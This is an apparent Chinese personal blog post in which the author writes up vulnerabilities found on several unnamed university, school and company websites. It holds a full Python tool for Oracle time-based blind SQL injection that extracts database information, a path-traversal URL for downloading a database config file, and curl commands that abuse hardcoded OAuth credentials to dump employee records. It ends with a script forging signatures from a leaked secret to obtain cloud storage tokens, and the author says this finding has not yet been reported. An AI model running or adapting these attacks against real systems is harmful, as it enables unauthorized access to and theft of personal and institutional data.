boxmoe_header_banner_img

困困小猫の秘密基地

加载中

文章导读

漏洞分享


avatar
kunkunxiaomao 2026年6月23日 80

前言

其实这一篇算是一个合集,在此之上加了一些最近挖到的漏洞,毕竟还是要分享自己的经验,也要让自己记住当时是怎么打的吗。最近一直在改代码写代码,然后突然感觉自己忘了正业。不过,写代码也算不务正业吗?应该不算🤔。咳咳,话题扯远了。

xx 大学毕设管理系统

这个其实是我有账号,所以进去就比较方便。然后呢,这个系统也比较老旧了,加上内网环境,就导致很好打吧。一开始,我对这个系统的印象就是简单的越权,因为数字很简单,明文暴露,也不用翻接口。

点击本人档案,然后抓包。

我们可以发现这里其实是一个很明显的可以遍历的,于是尝试修改参数,将 id 减 1 。

所以,理论上可以遍历所有人的信息,也就是说,开发人员在开发的过程中未对 id 与 cookie 值对应起来,导致的漏洞产生。同时这个漏洞也可以做到修改,就不展示了。

一开始面对这个我到这里就停止了,直到,有一天我突然想到,他会不会是在查询的时候采取了

Select * from TABLE where id = 2022003141

于是,我尝试了单引号报错。

页面发生了变化,此时就可以联想到布尔盲注了,写个脚本进行探测。截图就不放啦,把脚本放在这里。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Oracle 时间盲注检测脚本
授权测试环境使用
"""

import requests
import time
import sys
from urllib.parse import urlencode


class OracleTimeBlindInjector:
    def __init__(self, target_url, cookie, timeout=5):
        self.target_url = target_url
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': target_url.replace('stuMaintenance!getUpdateView.jspx', 'login!login.jspx'),
            'Cookie': cookie
        }
        self.timeout = timeout
        self.normal_time = None

    def send_request(self, payload_id):
        """发送请求并返回响应时间"""
        data = {
            'id': payload_id,
            'panelId': f'user_{payload_id}'
        }

        try:
            start = time.time()
            response = requests.post(
                self.target_url,
                data=data,
                headers=self.headers,
                timeout=self.timeout + 3,
                verify=False
            )
            elapsed = time.time() - start
            return elapsed, response.text
        except requests.exceptions.Timeout:
            return self.timeout + 2, ""
        except Exception as e:
            print(f"[!] 请求异常: {e}")
            return -1, ""

    def get_baseline_time(self):
        """获取正常请求的基准时间"""
        print("[*] 正在获取基准响应时间...")
        times = []
        for i in range(3):
            elapsed, _ = self.send_request('2022003141')
            times.append(elapsed)
            time.sleep(1)

        self.normal_time = sum(times) / len(times)
        print(f"[+] 基准响应时间: {self.normal_time:.3f} 秒")
        return self.normal_time

    def check_time_based_injection(self):
        """检测是否存在时间盲注"""
        print("\n[*] 开始检测时间盲注漏洞...")

        # 获取基准时间
        baseline = self.get_baseline_time()

        # 测试用例
        test_cases = [
            {
                'name': '恒真条件 + 延迟(5秒)',
                'payload': "2022003141' AND 1=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',5) AND '1'='1",
                'should_delay': True
            },
            {
                'name': '恒假条件 + 延迟(5秒)',
                'payload': "2022003141' AND 1=2 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',5) AND '1'='1",
                'should_delay': False
            },
            {
                'name': 'OR 恒真延迟',
                'payload': "2022003141' OR 1=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',5) AND '1'='1",
                'should_delay': True
            }
        ]

        vulnerable = False

        for test in test_cases:
            print(f"\n[*] 测试: {test['name']}")
            print(f"    Payload: {test['payload']}")

            elapsed, _ = self.send_request(test['payload'])

            print(f"    响应时间: {elapsed:.3f} 秒")

            # 判断是否存在延迟
            is_delayed = elapsed > baseline + 3

            if test['should_delay'] and is_delayed:
                print(f"    [✓] 符合预期: 检测到延迟 (+{elapsed - baseline:.3f}秒)")
                vulnerable = True
            elif not test['should_delay'] and not is_delayed:
                print(f"    [✓] 符合预期: 无异常延迟")
            elif test['should_delay'] and not is_delayed:
                print(f"    [✗] 未检测到预期延迟")
            else:
                print(f"    [!] 意外延迟,需进一步分析")

        if vulnerable:
            print("\n" + "=" * 50)
            print("[!] 确认存在时间盲注漏洞!")
            print("=" * 50)
        else:
            print("\n[-] 未检测到明显的时间盲注漏洞")

        return vulnerable

    def extract_character(self, position, ascii_mode=True):
        """提取单个字符(布尔盲注方式)"""
        # 可打印ASCII字符范围
        if ascii_mode:
            # 数字、字母、常见符号
            chars_to_test = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]
            # 扩展:其他可打印字符
            chars_to_test += list(range(32, 48)) + list(range(58, 65)) + list(range(91, 97)) + list(range(123, 127))
        else:
            chars_to_test = list(range(32, 127))

        for ascii_code in chars_to_test:
            char = chr(ascii_code)
            # 构造条件: 判断指定位置的字符是否等于当前字符
            # 使用 CASE WHEN 避免语法错误
            payload = f"2022003141' AND (SELECT ASCII(SUBSTR(({self.data_query}), {position}, 1)) FROM DUAL) = {ascii_code} AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',3) AND '1'='1"

            elapsed, _ = self.send_request(payload)

            if elapsed > self.normal_time + 2:
                return char

        return None

    def extract_data(self, query, max_length=50):
        """
        通过时间盲注提取数据
        query: SQL查询语句,如 "SELECT USER FROM DUAL"
        """
        self.data_query = query
        result = ""

        print(f"\n[*] 开始提取数据...")
        print(f"[*] SQL查询: {query}")
        print(f"[*] 预计最大长度: {max_length}\n")

        for pos in range(1, max_length + 1):
            found = False

            # 可打印ASCII字符范围(优化:先测常见字符)
            common_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_"

            # 先测试常见字符
            for char in common_chars:
                ascii_code = ord(char)
                payload = f"2022003141' AND (SELECT ASCII(SUBSTR(({query}), {pos}, 1)) FROM DUAL) = {ascii_code} AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',3) AND '1'='1"

                elapsed, _ = self.send_request(payload)

                if elapsed > self.normal_time + 2:
                    result += char
                    print(f"[+] 第{pos}位: {char} -> 当前: {result}")
                    found = True
                    break

            # 如果常见字符没匹配,测试其他ASCII
            if not found:
                for ascii_code in range(32, 127):
                    char = chr(ascii_code)
                    if char in common_chars:
                        continue

                    payload = f"2022003141' AND (SELECT ASCII(SUBSTR(({query}), {pos}, 1)) FROM DUAL) = {ascii_code} AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',3) AND '1'='1"

                    elapsed, _ = self.send_request(payload)

                    if elapsed > self.normal_time + 2:
                        result += char
                        print(f"[+] 第{pos}位: {char} (ASCII:{ascii_code}) -> 当前: {result}")
                        found = True
                        break

            if not found:
                # 遇到结束符或无法识别
                print(f"[*] 第{pos}位无匹配,可能已结束")
                break

            # 避免请求过快
            time.sleep(0.5)

        return result

    def get_current_user(self):
        """获取当前数据库用户"""
        print("\n" + "=" * 50)
        query = "SELECT USER FROM DUAL"
        user = self.extract_data(query, max_length=30)
        print(f"\n[+] 当前数据库用户: {user}")
        return user

    def get_database_name(self):
        """获取数据库名"""
        print("\n" + "=" * 50)
        query = "SELECT name FROM v$database"
        db_name = self.extract_data(query, max_length=30)
        print(f"\n[+] 数据库名: {db_name}")
        return db_name

    def get_version(self):
        """获取数据库版本"""
        print("\n" + "=" * 50)
        query = "SELECT banner FROM v$version WHERE ROWNUM=1"
        version = self.extract_data(query, max_length=100)
        print(f"\n[+] 数据库版本: {version}")
        return version


def main():
    # ========== 配置区域 ==========
    # 请替换为实际的目标URL
    target_url = " "

    # 请替换为完整的Cookie(从浏览器复制)
    cookie = ""

    # 关闭SSL警告
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # ========== 执行检测 ==========
    print("=" * 50)
    print("Oracle 时间盲注检测工具")
    print("授权测试环境使用")
    print("=" * 50)

    injector = OracleTimeBlindInjector(target_url, cookie, timeout=5)

    # 1. 检测是否存在时间盲注
    if not injector.check_time_based_injection():
        print("\n[-] 目标可能不存在时间盲注漏洞,退出")
        return

    # 2. 询问是否提取数据
    print("\n[*] 确认存在漏洞,是否提取敏感信息?(y/n)")
    choice = input().strip().lower()

    if choice != 'y':
        print("[*] 退出")
        return

    # 3. 提取信息
    print("\n" + "=" * 50)
    print("开始提取信息")
    print("=" * 50)

    # 获取当前用户
    injector.get_current_user()

    # 获取数据库版本
    injector.get_version()

    # 可选:获取数据库名
    # injector.get_database_name()

    print("\n" + "=" * 50)
    print("[*] 检测完成")
    print("=" * 50)


if __name__ == "__main__":
    main()

运行结果

XX 附中实验学校

这个也是一个很简单的越权,因为有注册界面,所以可以注册以后看他的响应包,对于这个网站,他是在一个选课的界面有一个越权操作。

我们发现,我们选完课的时候,他的 ID 是准确的。同时,又存在取消界面,所以不难想到,在取消的时候可能存在漏洞。

课程 ID 是明文传输的,此时我们再抓另外一个账号的选课

丢弃这个响应包,只拿它的 ID,放到另一个账户上

此时发现

这个漏洞也是很简单,依旧是没有校验用户的来源,非常的相信客户端导致的啊。

XX 技术学院

依旧是一个水平越权,这个也是有账号的,就不过多赘述啦。毕竟还是很一样的嘛。

XX 学院

这个是从目录扫描发现了危险的东西,en。通过目录扫描,发现了 sitemap

访问一下这个 xml


发现下载中心,随后尝试对其进行目录访问,发现可以下载敏感文件,如数据库配置和其他配置信息等,此时构造 payload

https://www.xxx.com/xiazaizhongxin/../../config/database.php

成功下载了database.php

XX 公司

依旧对这个网站进行目录扫描,通过抓包,发现客户端凭证硬编码

client_id=webApp&client_secret=webApp


向 OAuth2 Token 端点发送请求,使用 client_credentials 授权模式:\

curl -X POST "http://xxxx/api-auth/oauth/token" \
  -d "grant_type=client_credentials&client_id=webApp&client_secret=webApp" \
  -H "Content-Type: application/x-www-form-urlencoded"


无需任何认证,直接访问 Swagger API 文档端点

curl -s http://xxx/api-user/v2/api-docs | jq -r '.paths | keys[]'


将获取的 Token 放入 Authorization: Bearer 请求头,调用用户信息查询接口

curl -X GET "http://xxxx/api-user/mobile/attendanceApply/getUserInfo?userId=1" \
  -H "Authorization: Bearer cc6f37af-7be0-43d1-8b46-b4d984366402"


获取所有员工信息

curl -s -X GET "http://xxxxx/api-user/mobile/attendanceApply/getLowerLevelUserByDeptId?deptIds=001" \
  -H "Authorization: Bearer $TOKEN" | jq '.'

XX 职业技术大学

这是我捡垃圾捡到了,en,一个 N day,算是

可以参考飞牛那篇文章哦

XX 大学游泳馆

这个是一个 OSS 存储桶的文件上传,还没交🤔,主要是没确定资产到底是谁,小程序逆向进去

可以发现暴露了密钥

尝试访问

TIMESTAMP=$(date +%s000)
SECRET='hardnVsecret'
SIGN=$(echo -n "${TIMESTAMP}${SECRET}" | md5sum | awk '{print $1}')
echo $TIMESTAMP
echo $SIGN

curl -i "https://xxx.cn/prod-api/api/aliyun/sts/token?timestamp=${TIMESTAMP}&sign=${SIGN}"


在 JS 中有上传文件接口,执行命令


成功上传



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码

欢迎来到小站哦~

avatar

困困小猫

常年看番、打游戏,宅属性满分。不过偶尔也会出去玩啦 我在这里还是个新手,各位大佬来访还请轻一点喷~orz 欢迎光临! 还有一定要看隐私政策哦!!!

66
文章
4
评论
2
用户